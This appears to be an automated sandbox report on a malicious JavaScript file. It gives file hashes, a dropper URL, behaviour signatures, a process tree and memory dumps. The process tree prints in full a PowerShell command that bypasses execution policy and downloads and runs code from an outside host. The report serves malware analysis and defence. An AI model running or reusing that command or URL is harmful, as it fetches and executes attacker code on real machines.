Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    08-02-2024 14:25

General

  • Target

    DCS7727723772772.js

  • Size

    25KB

  • MD5

    fa4c5428813c2612116ac59af1862bcb

  • SHA1

    50f324f71e12473644eefa338b11dd347d713f68

  • SHA256

    8603c3e9cbbf9629724d1d4299418be0d2ad7ce04ea8091fc0bead7430d21fbd

  • SHA512

    a770e57adc93505fbf7ccc4152ebc7985839e168770c16697f3b5d5f1ccd85ac5c1b641a7b407d53a727b2fcad33d123b930cc9ad13ba89c113c6809fbaccdb8

  • SSDEEP

    768:MleSnV5r8Fi+tVxfS0fy8hghu28Iswykn5d0B/PK3py1XY4TgVzlqIDG3ZBoxPg0:eeaV5oIhzPRZxehtM

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://assime.ca/command.php

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\DCS7727723772772.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2836

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2836-4-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

    Filesize

    2.9MB

  • memory/2836-5-0x0000000002590000-0x0000000002598000-memory.dmp

    Filesize

    32KB

  • memory/2836-6-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

    Filesize

    9.6MB

  • memory/2836-7-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/2836-9-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/2836-8-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

    Filesize

    9.6MB

  • memory/2836-10-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/2836-11-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/2836-12-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/2836-13-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/2836-14-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

    Filesize

    9.6MB